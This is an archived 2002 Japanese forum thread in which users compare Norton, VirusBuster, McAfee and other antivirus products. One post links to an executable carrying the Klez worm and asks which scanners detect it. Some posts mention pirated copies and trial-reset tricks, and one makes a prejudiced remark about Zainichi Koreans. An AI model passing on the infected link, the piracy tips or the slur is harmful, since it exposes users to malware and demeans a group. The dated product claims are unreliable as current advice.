ウイルス警備隊って何?

699 :名無しさん@お腹いっぱい。:02/04/13 17:04
ウィルス検知だけならバスターの方が上じゃなかったか?

700 :名無しさん@お腹いっぱい。:02/04/14 01:19
1年経ったら有償ってのはどうなの>ノートン

701 :名無しさん@お腹いっぱい。:02/04/14 07:28
バスター2002体験版をインストールしたらOutLookの立ち上がりが猛烈に遅くなりました。
むかついたのでアンインストール。それでも症状は変わらず。
アドバイス下さい。

702 :名無しさん@お腹いっぱい。:02/04/14 10:41
>>700
一度アンインストールして再インストールすれば
期限が1年に戻るというのを聞いたことがありますが
本当かどうか知りません。

703 :名無しさん@お腹いっぱい。:02/04/14 10:53
>>701
漏れもなったわ。今は我慢して使ってる。起動まで1分近くかからん?

704 :名無しさん@お腹いっぱい。:02/04/14 11:11
>>703
5秒もかからんが。PCの環境によって個人差があるみたいだな。
と言ってみるテスト。

705 :名無しさん@お腹いっぱい。:02/04/14 13:39
>>701
それってMcAfeeの不具合とそっくりだね。
McAfeeはMSOE.DLLが原因だったらしいけど。

706 :名無しさん@お腹いっぱい。:02/04/14 14:46
>>696
McAfeeだってそう悪くはない。
少なくとも検出力に関しては・・・・な。
http://www.k-raito.com/sec/end.html

707 :あぼーん:あぼーん
あぼーん

708 :比較:02/04/15 21:59
ノートン>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>クソースネクストバカフィー
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>ウイルス警備隊

709 :名無しさん@お腹いっぱい。:02/04/15 22:05
>>708
F-Secureってどうなん?

710 :比較:02/04/15 22:37
>>709
情報がないので比較不能。

711 :名無しさん@お腹いっぱい。:02/04/16 23:44
OutLook立ち上がりが遅い・・1分以上かかる・・・対処法ないのかな?
>>703

712 :名無しさん@お腹いっぱい。:02/04/17 00:13
>>711
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3663
http://homepage2.nifty.com/winfaq/c/oetrouble.html#388

713 :712:02/04/17 00:16
↑うぃんふぁっくの方はそのままリンク踏んでも飛べないかも。
ttp://homepage2.nifty.com/winfaq/c/oetrouble.html#388

714 :名無しさん@お腹いっぱい。:02/04/17 00:51
>>709
http://eazyfox.tripod.co.jp/

http://www.k-raito.com/
にでも依頼だせ アフォ。



・・・・実は漏れも興味ありw

715 : :02/05/01 02:26


716 :名無しさん@お腹いっぱい。:02/05/01 09:51
折れは橋本&小川組の勝ちに一票。

717 :不明なデバイスさん:02/05/02 02:26
バンドル版のマカフィーが先々週に期限切れ。とゆうわけで、

ウイルスバスター2002の体験版を試したばかりだが、
体験版って一ヶ月使用可能というが、定義ファイルの更新が一切不可。
当然いきなりクレズにやられたさ。トレンドマイクロの方で、体験版でも
クレズにだけは対処できる定義ファイルを配布はじめたけど、それより先に
やられた。最新版の定義ファイルの重要性を知るとともに、
大きな疑問。

体験版の試用期間を2週間に縮めてでも、定義ファイルの更新は可能にしておくべきでは
なかろうか?アンインストールでとか言うウラワザなんかあるんなら、体験版専用の
2週間しか定義ファイル更新が使えない仮パスでも配布すればいいじゃんと思った。

とゆうわけで、体験版の印象が悪かったのでノートン先生を買いに行きます。

718 :名無しさん@お腹いっぱい。:02/05/02 02:46
>>717
更新ファイルを手で入れろ!

719 :不明なデバイスさん:02/05/02 05:02
バスターの体験版はウイルス駆除とか防御を試してもらうための物じゃない。
インストールしてみてシステムが逝くか逝かないか確かめるためのもの。
勝ってからインストールして異様に重くなるとか、手持ちのソフトと
バッティングするとかわかっても手遅れだからね。2,3日動かして問題なければ
商品買ってちょうだいというわけ。体験版で更新できたら一ヶ月ただで使われちゃう
じゃない。

720 :名無しさん@お腹いっぱい。:02/05/02 09:06
717ではないけど。

>>719
それなら確認版って改名したほうがいいんでない?(w
717も書いてるけど、検出力や更新頻度とその手間のチェック
なんかも大切なポイントだから、普通は期間限定でも更新して
もらえるって考えない?VBは昨年末更新できねぇ!なんて騒ぎ
もあったんだし、その辺の確認だってしたいんでないかとオモタ。

そんな漏れは先生とfreeのチャンポン。国産マイナーVirusは?
とか2byte文字問題は?とか考えると本命にはチト弱いけど、
海外のfree_AntiVirusソフトも優秀だよ>717

個人的には、乗り換えに空白を作らない事をお薦めします。
うまくチャンポン期間を作ってでも。複数常駐なんて無茶をしなきゃ、
一般にはチャンポンでも問題ないし。

721 :不明なデバイスさん:02/05/02 19:05
ノートンの体験板はしっかり更新が出来るが体験版の存在が知られていない。
一体どういうことかと。

ノートン買う。

体験版の期限一ヶ月丸々使ってから期限切れと同時にユーザー登録する

無駄なくノートン先生を利用できてウマー

なのに。

722 :名無しさん@お腹いっぱい。:02/05/02 19:28
>>717-721 サンクス。今度から厨にはノートン体験版を勧めるよ。

723 :名無しさん@お腹いっぱい。:02/05/03 17:41
このスレを参考にしてAV買ってきました。
凄くいいです。

724 :不明なデバイスさん:02/05/03 19:39
>>723
AVというかノートンの略称はNAVという。


725 :名無しさん@お腹いっぱい。:02/05/06 18:17
私はノートン2001のユーザーです。
友人(PC初心者)がバスター2002を使っているのですが、
「セキュリティレベル高の時のログに残る、クローキングって何のことだ?」
と聞かれました。
色々調べてみたのですが、ノートンだとクローキングという単語自体が
出てきません。ノートンにはこの機能は無いのでしょうか?

726 : :02/05/06 23:20


727 :名無しさん@お腹いっぱい。:02/05/07 05:15
うちはノートン駄目だった。体験版いれてある日更新したら、次からパソが起動
しなくなった。セーフモードで起動してノートン削除したら元通り起動するようになった。
そんなわけで俺はバスターユーザー。更新の度に再起動するのも面倒だしね。

728 :名無しさん@お腹いっぱい。:02/05/07 05:32
ノートンだめ、重すぎてメモリ足りなくなる。

729 :名無しさん@お腹いっぱい。:02/05/07 07:24
>>725
バスターのクローキングしたというのはノートンでいうところの
ブロックしたということだと思う。
バスターはいわば初心者層を狙って売ってるわけだから
こういうところでノートンより分かりづらかったらダメだね。
もしかすると微妙に意味が違うのからつけたのかな?

730 :名無しさん@お腹いっぱい。:02/05/07 15:33
>725
クローキング(Cloaking)<トレンドマイクロのみの表現?
ttp://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3376

説明を読めば意味はわかると思いますが、一般的なFWではステルスと
呼ばれる機能の事です。単にブロックするだけでなく、相手にこちらの
存在を察知されないため、port scan 等に対して一番安全性の高い
処理という訳ですね(単にブロックした場合、相手にこちらが接続中で
あるという情報を与える事になります)。

インターネットに接続するPCでは(鯖を立てていない場合は)ステルス
モードが推奨されてます。普通はこの設定にしておくべき。

ただNISにせよVBにせよ、FWの機能はあまり評判が良くありません。
VBは機能がイマイチ(というかあまり信頼できない)。NISは無駄に
多機能なうえ使いにくい、といった感じです。

FWについて勉強するのならこのあたりをのぞいてみては?
ttp://eazyfox.tripod.co.jp/

731 :725:02/05/07 21:42
>>729さん、>>730さん詳細な解説をありがとうございます。

友人のバスターのマニュアルを読ませてもらって、
「別に気にする程の事じゃないよ」と言うと、
「ログの行頭の般若みたいなイラスト(わかりますか?)が気になる、
ウイルスとか送られてたらどうする」などと言われ、
ノートンだと、どれに相当するのか迷って質問させていただきました。

私も友人より多少詳しい程度なので、リンク先などでもっと勉強しようと思います。


732 :名無しさん@お腹いっぱい。:02/05/10 23:02
俺のじゃないけど、実家で使ってるパソコンに
親父がウィルスもらってきた。ごっそり。
いい年こいてなにやってんだ?
可能性はエロサイトなんだろうな…
これでアングラだったら、やんちゃな父親をむしろ尊敬。
ちっちゃな勇者なんだけどなぁ。

おかげでノートンさんのお世話に。

733 :名無しさん@お腹いっぱい。:02/05/11 20:02
NIS2002の「クロスアップデート版」って、なんで新規インストールが
できるんだろう。
ひょっとして、「アップデート版」もそうなのだろうか・・・

734 :名無しさん@お腹いっぱい。:02/05/16 23:49
揚げ

735 :名無しさん@お腹いっぱい。:02/05/17 21:08
AGE

736 :名無しさん@お腹いっぱい。 :02/05/18 01:23
いまだに、悩んでます。



737 :名無しさん@お腹いっぱい。:02/05/20 15:12
バスター>ノートン

738 :名無しさん@お腹いっぱい。:02/05/20 16:33
>>736
悩んでいるなら早く買う!
バスター=ノートン

739 :分かり易い比較:02/05/20 18:43
ノートン>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>クソースネクストバカフィー
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>ウイルス警備隊

740 :名無しさん@お腹いっぱい。:02/05/20 19:19
厨房みたいな質問でわるいんですが
98SE、ペンV 500MHZ、メモリ384M、ADSL8M、常駐ソフトほとんどなしでネトゲをよくやるんですが
バスターとノートンどっちがいい?

741 : :02/05/20 19:43
http://www.myg0t.com/bb/hldownload.htm

742 :名無しさん@お腹いっぱい。:02/05/21 17:25
バスター>ノートン

743 :名無しさん@お腹いっぱい。:02/05/24 19:53
「ノートン入れたらネットが遅くなった」って奴は、
OSクリーンインスト直後に入れれ。

744 :名無しさん@お腹いっぱい。:02/05/27 16:37
どっちにしようかなあ。

745 :名無しさん@お腹いっぱい。:02/05/27 17:47
バスターとノートン一緒に入れてたけど2ch書き込みするのめんどうだったから
バスターだけにした。理由は他にもあってノートンはOSの立ち上げの時の
チェックが邪魔だったのとCPU低いからか、重くなったので…。
とりあえず予防接種は使わせてもらいましたよ。

746 :名無しさん@お腹いっぱい。:02/05/27 20:04
どっちでもええやん。



747 :名無しさん@お腹いっぱい。:02/05/27 22:00
>>744
普通に使ってたらバスターで十分だけど、念を押すならノートン。ただしPCのスペックなどは要注意

748 :名無しさん@お腹いっぱい。:02/05/28 09:49
バスターって FW 弱いんでしょ?

749 :名無しさん@お腹いっぱい。:02/05/28 17:33
NISproだけどこっちにして良かったと思ってます。
ただ私の低脳PCでは重い

750 :名無しさん@お腹いっぱい。:02/05/28 22:40
>>743
OSクリーンインスト
ってどうゆう意味ですか?


751 :cheshire-cat:02/05/28 22:43
>>750
横レスですが。
ハードディスクのデータが全て消失、んでOSが初期の状態でインストール、の意味かと。

752 :名無しさん@お腹いっぱい。:02/05/29 02:18
どっちが上て、そりゃ使う人次第やろ。

753 :名無しさん@お腹いっぱい。:02/06/02 10:51
2001のノートンいまだにつこう手いるもんです、2002変えやという声がよう
聞こえます。しかし。ライブでいつでも最新なのにどう違うというんやろか、
2001でひろえんトロイがひろえるんやろか、いつでも最新はうそなんやろか
心配でよう買えまへん。社員さんどないでっしゃろ、素人にもわかるよう
説明できまへんか。お願いどす。でないとトレンドさんの2002買いそう。

754 :名無しさん@お腹いっぱい。:02/06/02 14:01
バスターは、もうすぐ2003が出るよ。
それが最新版。最強。

755 :名無しさん@お腹いっぱい。:02/06/02 17:55
2001と2002てちがうの。スクリプトの防御の違いしかなくて、トロイなんか
ではまったく同じと聞いたが。

756 :名無しさん@お腹いっぱい。:02/06/03 06:16
ノートン=バスター

どちらも一長一短で結論でたんじゃ?

757 :名無しさん@お腹いっぱい。:02/06/03 09:34
>756
バスターの「一長」を教えてくれ。

758 :名無しさん@お腹いっぱい。:02/06/03 18:45
すいません、くだらないことなんですが
よくMXでバスターとかノートンとかありますがあれって思うんですが
たしかバスターはオンライン登録しなければ使用のできないんでは
なかったですか(違っていたらスマソ)
それで危険なのにもかかわらずになんでアップ&ダウンしているんですか?
ノートンもオンラインとか登録しないと使えないんでしょうか?

759 :cheshire-cat:02/06/03 18:49
>>758
教えたら、落として使うつもりか?

760 :名無しさん@お腹いっぱい。:02/06/04 03:15
諸先輩方に質問です。
お下がりのPCをもらったんですが、
cpuはathlon800、メモリは128、OSはWIN98SEなんですが
ノートン入れたら重くなっちゃいますか?

761 :名無しさん@お腹いっぱい。:02/06/04 09:59
もともと水に浮くほど軽くないんだから入れとけ。

762 :名無しさん@お腹いっぱい。:02/06/04 14:07
>>758
落とさせないために言うんじゃないけど
MX内のソフトはスパイウェアとかウィルス入ってる可能性が高いから
できれば止めておいたほうが吉。

763 :名無しさん@お腹いっぱい。:02/06/04 14:28
ノートンとバスター、どっちが軽いの?
Pen3 500mhz、Win2000でノートン使ってて
Protect 使うとフォルダの開くのが異様に遅い。

764 :名無しさん@お腹いっぱい。:02/06/16 11:01
ノートン(NIS2002)、制約ありすぎ、バスターに替えようかと思うけど
バスターの方が制約は少ないの?
そんで、制約が少ないって事は、ブロックも弱いって事?

765 :名無しさん@お腹いっぱい。:02/06/16 11:08
>>764
制約ってのはよく分からないけど、検出能力は同じくらい。
ただバスターのファイアーウォールは何度も言われてるようにフリーのソフトに劣るので、
別のを入れたほうがいいです。

766 ::02/06/19 01:22
バスターのFW機能を無効にするインストールの仕方を教えて下さい。
どうしても、マカフィーのFW入れたくて買ってきたのだが、、
先にマカFW入れてバスター再インストールしても、バスターのFW無効の画面が
出ませーん、、お忙しいところ申し訳ありませんが、どなたか御教授お願いします。
、、、ココで質問していいのかな?、、、違ったらゴメンナサイ。

767 :名無しさん@お腹いっぱい。:02/06/19 08:23
>>766
バスターの方に書いておいたよ。

768 :名無しさん@お腹いっぱい。:02/06/20 17:37
迷ったけどノートン買ってしまった。Pentium133に入れたけど大丈夫みたいだが。

769 :名無しさん@お腹いっぱい。:02/06/20 18:37
バスター2002は、「klez」に対応していますか?

770 :名無しさん@お腹いっぱい。:02/06/20 19:31
>>769
ウイルス質問スレとマルチかな?
ま、どっちにしてもあっちになにやら親切な人がいたんで、
そっち見てくれ。

771 :名無しさん@お腹いっぱい。:02/06/20 19:40
>>768
アンチウイルスだけならどってことないと思う。
メールを見る際など遅くなるのはどんなマシンでも同様だし。
けど、ファイアウォール入れるとかなり遅くなるかも。

772 :名無しさん@お腹いっぱい。:02/06/24 17:11
バスター⇒ノートンの順番でインスコして両方つかってる。
まかり間違えてもウィルス等を渡したら信用パーなんで念には念を入れてまふ。
でも漏れがこんなに気をつけてもみんなアウトルックとか使ってるアホが多い・・・
少なくても自分が加害者になった事はねーですよ。

そんで単純に気になってるのはNorotnは圧縮書庫の検索が弱いですよ。
バスターならzipをさらにrarで圧縮されてたりしてもそのまま検出可能。
これ実は結構重宝してます、Norotonは多重圧縮書庫は検出不可ですので、
ただバスターも今の最新版でもRARのver3.0形式には対応してない。
次のエンジンでRARの3.0形式に対応キボンヌです。

773 :名無しさん@お腹いっぱい。:02/06/24 17:15
それとファイアーウォールならKerioお勧めですよ、NIS重すぎて使えないし、
バスターのFW機能は使えなさ過ぎです、問題外、

774 :定説:02/06/24 18:55
ノートン>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>クソースネクストバカフィー
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>ウイルス警備隊

775 : :02/06/27 05:44
マンキン以前
バスター<ノートン

マンキン以降
バスター&ノートン


ノートンはマンキンしかとしそうだし・・・
マンキンのためにバスター買おうかなと思ってる私はアホですか?

776 :名無しさん@お腹いっぱい。:02/06/27 09:16
別にいいけど、exeの安全性全部アンチヴィールスに任せようとか思ってるならいつまでも同じようなモノ踏むだろうけどね

777 :名無しさん@お腹いっぱい。:02/06/27 09:38
>>775
http://pc.2ch.net/test/read.cgi/sec/1025025835/8
ですか?

今回の騒動から学ぶべきことは、
「出所不明のexeは実行しない」に尽きると思いますが…

今後マンキンのクローンが出てきたら、
バスターの最新定義ファイル入れてても検出しませんよ?


778 :名無しさん@お腹いっぱい。:02/06/27 09:47
もうマンキンの話はお腹いっぱいだ

779 :名無しさん@お腹いっぱい。:02/06/27 19:04
ウイルスバスターは一年に一回3980円?払うだけでソフトのバージョンアップと
ウイルス定義ファイルの更新ができるみたいだけどノートンインターネット
セキュリティーはウイルス定義ファイルのみ。
よってウイルスバースターの勝利

780 :名無しさん@お腹いっぱい。:02/06/27 20:17
>779
ちょっとおかしい。

781 :名無しさん@お腹いっぱい。:02/06/27 22:11
バスター・キートンですが、何か?

782 :名無しさん@お腹いっぱい。:02/06/27 23:10
ノートンの“堅さ”が気に入ってるんだ。
バスター、ソフトだけでなくノリも軽そう。
セキュリティだからねえ・・・

783 :名無しさん@お腹いっぱい。:02/06/27 23:58
バスターのパッケージはチョット…なぁ?

784 :名無しさん@お腹いっぱい。:02/06/28 00:32
カプセル・・・だもんね。
せめて注射・・・いや、同じか。

785 :名無しさん@お腹いっぱい。:02/07/01 10:42
今トレンドマイクロのサイトおかしい?


786 :名無しさん@お腹いっぱい。:02/07/01 15:29
黄色が嫌いだからバスターは
あの黄色は目が疲れる

787 :名無しさん@お腹いっぱい。:02/07/01 17:33
バスターはUIでかなり損してる。

788 :ノートン大先生のマンキン.exeの分析結果:02/07/01 18:19
ノートン大先生のマンキン.exeの分析結果
ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名
マンキン.exe
: 結果
: デベロッパーノートを参照してください。


デベロッパーノート
:
%s
Our automated system has performed an extensive analysis on the file(s)
that you have submitted and found no evidence of malicious code. If you
have additional evidence to suggest that a malicious program still resides
in the file that was submitted to us, please contact Symantec Technical
Support for assistance.

789 :名無しさん@お腹いっぱい。:02/07/10 13:03
ウィルスバスターは使わないほうがいいかも知れません
あるスレでノートンでは、ウィルス検出できるのに
バスターでは反応がありませんでした。

790 : :02/07/10 13:17
ウィルスバスターはあんまり役に立たなかったがノートンは違った
ウィルス発見は圧倒的にノートソの勝ち!!

791 :名無しさん@お腹いっぱい。:02/07/10 14:17
>>789
ノートンがvbsウィルスのソースに誤反応
http://pc.2ch.net/test/read.cgi/sec/1025872269/
↑の件ですか?
だとしたらノートンは過剰反応してるわけで、花粉症みたいなものだと思うのですが。

792 :名無しさん@お腹いっぱい。:02/07/10 14:21
NISのアンチウィルスだけをインストールして
使用しております。
ファイアーオール機能をインストールをすると
極端にネット速度が落ちるのでPCには入れておりません。


793 :名無しさん@お腹いっぱい。:02/07/10 16:15
>792
こういう人多いね。
ファイヤーウォールはフリーの奴も入れてないの?

794 :名無しさん@お腹いっぱい。:02/07/11 10:10
NAVはプリインストールされてたヤシが多いのよー
FWは無難にoutpost入れてるのよー

795 :名無しさん@お腹いっぱい。:02/07/11 11:10
>>791
しかしあれだ。
誤警告くらいで、よくあちこちの板が盛り上がれるもんだね。
要は、それだけ悪意あるスクリプトと、そうでないものの「しきい」の差が
なくなってきたということだと思うんだが。

796 :名無しさん@お腹いっぱい。:02/07/16 01:17
マカフィーのVSO。
購読料年間約2,000円(ソフトのバージョンアップも含む)。
検出力はノートンと同等。
その上バスターやノートンより軽い。


797 :名無しさん@お腹いっぱい。:02/07/16 10:26
NIS2001、2002と使ってきたけど
何か重いし、今度はバスター買おうかな って思ってます。
日本じゃこっちの方が出回ってるみたいだし。

798 :名無しさん@お腹いっぱい。:02/07/16 20:37
エフセキュアでも導入しようかな。会社。

799 :名無しさん@お腹いっぱい。:02/07/24 21:49
この擦れシマソテックの人間多すぎ。全然役に立たん。
もっと上手くやれや呆け。

800 :名無しさん@お腹いっぱい。:02/07/26 13:46
オマエモナー

801 :名無しさん@お腹いっぱい。:02/07/28 22:26
在日が作ってる安置ウイルスソフトは信用できません

802 :名無しさん@お腹いっぱい。:02/07/28 22:36
トレンドマイクロの社長はスティーブ・チャンという。

803 :名無しさん@お腹いっぱい。:02/07/29 00:24
もともと日本じゃないしね

804 :名無しさん@お腹いっぱい。:02/07/29 19:50
ウィルス警備隊V3は軽くていいですね!
マカフィよりいいかも?

805 :名無しさん@お腹いっぱい。:02/07/29 21:18
>>804
セキュリティ絡みでは「嘘は犯罪」だぞ!!!


806 :トレンドマイクロ株式会社:02/07/29 21:47
スティーブ・チャン社長兼CEOが
ウィルスバスターの開発拠点は日本だって(雑誌で)言ってたぞ。
品質で一番厳しい日本での開発は大事らしい。
企業向けが全体の8割を占めるらしい。(意外)
なかなか信頼できそうな感じの人だったぞ。
ノートンから乗り換えようかな?

807 :マブハイ:02/07/29 22:12
>>806
でもさ、ファイル解析してアラート出してるの
ピリピンのマニラらしいぢゃん。

シャッチョサン、イラシャイマセー



808 :名無しさん@お腹いっぱい。:02/07/29 23:48
>>804
どこがいいのか分からない。軽いのが良ければNOD32でも使っとけば?
スロバキア製のソフトなんだけど。McAfeeよりずっといいらしいよ。

809 :名無しさん@お腹いっぱい。:02/07/30 19:34
Nortonで決着



-----------------------終了-----------------------

810 :名無しさん@お腹いっぱい。:02/07/30 19:39
ウィルス警備隊で決着


−−−−− 終 了 −−−−−

811 :名無しさん@お腹いっぱい。:02/07/30 19:45
(・∀・)アンチウィルスデキーマリ!!

812 :名無しさん@お腹いっぱい。:02/07/31 10:02
>>811
アンチウィルスって・・・・・どのアンチウィルス?(w

813 :名無しさん@お腹いっぱい。:02/08/05 10:36
つーか、バスターでもノートンでもどっちでもほとんど同じだし
バカフィーと警備隊さえ使わなければまず大丈夫

814 :名無しさん@お腹いっぱい。:02/08/08 11:40
ノートン普及工作員アフォ?

815 :名無しさん@お腹いっぱい。:02/08/08 19:15
http://members.tripod.com/hokahokagohannyo0/gca_v09i.exe
このファイル、ノートンorバスターorマカフィのどれに反応します。
同時にアンチウイルスソフトを導入できないので教えていただけないでしょうか?
御願いしましゅー

816 :名無しさん@お腹いっぱい。:02/08/08 19:37
バスターとノートンのインタフェース見比べてみてよ
バスター真っ赤っかな上にウィンドウの縁が青色だよ
それに比べてノートンは綺麗に黄色に統一されている
ノートンの方が安心して使えるリラクゼーションがあると思うよ
性能的にもノートンの方がいいんだから。

817 :名無しさん@お腹いっぱい。:02/08/08 19:44
NAVに反応しないけどそのgca_v09i.exeって何?ウイルス?
ノートンが無理ならバカフィーは尚のこと無理だろうけど(w
バスターなんて問題外(W

818 :名無しさん@お腹いっぱい。:02/08/08 20:28
・GCA
http://www.emit.jp/gca/gca.html

LHAとかZIPみたいなもんです

819 :815:02/08/08 20:57
>>818
GCアーカイバーにウイルスが感染しているのは判明しているんです。
どのメーカーで見知できるのかを知りたいのでカキコしたのですが・・・
バスターとマカフィーは反応しませんでしたか?
実行すれば、NVAには引っかかるみたいです。

820 :cheshire-cat ◆CATJR.v6 :02/08/08 21:58
>>815
Antidoteで「TrojanDropper.Win32.Joiner.c」の名称で、exeファイルがヒットしました。

821 :名無しさん@お腹いっぱい。:02/08/08 22:05
>>815
ホットメールで添付ファイルを送る時にマカフィーが
自動的に調べてくれる機能を利用してやってみたけど
反応しなかった。。。



822 :名無しさん@お腹いっぱい。:02/08/08 22:06
>>820
勇気があるならAVを自動検出でプログラムを実行しる!

823 :名無しさん@お腹いっぱい。:02/08/08 22:08
マカフィーって最低じゃん、Antidoteに負けてるなんて

824 :名無しさん@お腹いっぱい。:02/08/08 22:19
TrojanDropper.Win32.Joiner.cはウイルスドロッパーで細密に言うと
単なる偽装するためのツールでウイルスではないです。

825 :cheshire-cat ◆CATJR.v6 :02/08/08 22:24
>>824
エグゼジョイナーでしたっけ?

826 :cheshire-cat ◆CATJR.v6 :02/08/08 22:26
>>822
捨てPCがお亡くなり中なんで、いずれ。

827 :名無しさん@お腹いっぱい。:02/08/08 22:32
>823
前半には異存ないけど、後半のニュアンスには疑問。
Antidoteの検出率は高いよ。

828 :cheshire-cat ◆CATJR.v6 :02/08/08 22:52
検出率というか、それ以前の問題があって。
ワクチンベンダーによっては、「それ系の危険ツールはウイルスそのものじゃない」っていう事で、対応しなかったりするのよん。


829 :名無しさん@お腹いっぱい。:02/08/08 23:32
非常に厨房質問なのでためらわれますが、思い切って聞きます・・・

マザーボード(GADXR+)のCDなどに入っているノートンシリーズは、体験版ですか?
「within SIXTY DAY,・・・」どうたらと書いていたのでやっぱり、体験版なのでしょうか。

もし、正規版なら超うれしいんですが。

830 :名無しさん@お腹いっぱい。:02/08/09 20:19
60日間しか使えない正規版
または
60日間も使える体験版

本人の考え方次第では?


831 :名無しさん@お腹いっぱい。:02/08/09 22:05
正規版なら、何がうれしいんでしょ。
使用期限が切れたら同じでは。


832 :名無しさん@お腹いっぱい。:02/08/10 07:02
先月、Re: your passwordというタイトルのメールが届く
ウィルスが急に出回ったとき(7月中旬かな)、
おいらのところにウィルスメールどんどん来たが、
マカフィーのVSOを入れているPCと
ウィルスバスターを入れているPCはウィルス検出した。
ノートンを入れていたPCは無反応で、ウィルス定義ファイルを
念のため最新のにしてもウィルス無しって出た。
シマンテックのホームページ見たら対応中になってた。

なんで、シマンテックは対応が遅いんだ?
ウィルスが相当出回っちゃってから対応しても
しょうがないじゃんよ。

○ウィルス情報の入手が遅いのか
○ウィルスへの対応策の開発が遅いのか
○定義ファイルの更新手続きが遅いのか


833 :名無しさん@お腹いっぱい。:02/08/10 13:33
>>832
正規ユーザーだったら、メーカーにも言ったほうがいいよ。

834 :名無しさん@お腹いっぱい。:02/08/10 21:05
正規ユーザーですがなにを言うの?

遅いってか?


835 :815 gca_v09i.exe:02/08/11 01:58
>>815
http://members.tripod.com/hokahokagohannyo0/gca_v09i.exeについて

ファイルを分析しました。送られたそれぞれのファイルについて
わかったことを以下に報告します。
ファイル名gca_v09i.exe
結果: このファイルは未感染です。
デベロッパーノート
gca_v09i.exe The submitted program is not malicious itself.
However, it contains malicious data appended. NAV should not detect
this program while it successfully detects the detached viral files,
that must be permanently deleted.

Developer Issue Notes:
The submitted program is not malicious itself. However, it contains
W32.Klez.H@mm appended. NAV should not detect this program while it successfully
detects the detached viral files, that must be permanently deleted.
Please run attached updater for latest virus definitions.
このファイルにウィルスは存在しないと判断しました。

836 :名無しさん@お腹いっぱい。:02/08/11 16:25
俺ノートン入れててスキャンしたけど何も見つからなくて、
そのあとバスターのオンラインスキャンしたら2つウィルス見つかった。

837 :名無しさん@お腹いっぱい。:02/08/12 09:53
ANTIDOTEはKaspersky Anti-Virusのエンジンを使っているんだけれども、このKasperskyってのが
何でもかんでも検出できるようにしようっていうスタンスで作っているらしいんだ

838 :名無しさん@お腹いっぱい。:02/08/14 22:53
>>836
だから何?


839 :名無しさん@お腹いっぱい。:02/08/14 22:56
>>836
ttp://pc.2ch.net/test/read.cgi/sec/1021091165/908

見つかればいいってものじゃない。

840 :名無しさん@お腹いっぱい。:02/08/22 19:28
Nav2000限定の話だけど、圧縮ファイルのスキャンをしている時によく固まるな。
Nav2001はあまり固まらないみたいだけど。

841 :   :02/08/22 19:39
ウイルスはバスター
炎壁はノートン
我のPCに最初にあったのはマカフィー

842 :名無しさん@お腹いっぱい。:02/08/22 21:44
このスレ読んでみたんだけどバスターかノートンか迷う・・・

試しに割れでバスターが良いか試してみたらrar内のTRO_JとKLEZ検出してくれたし、
やっぱバスターかな・・・正規品

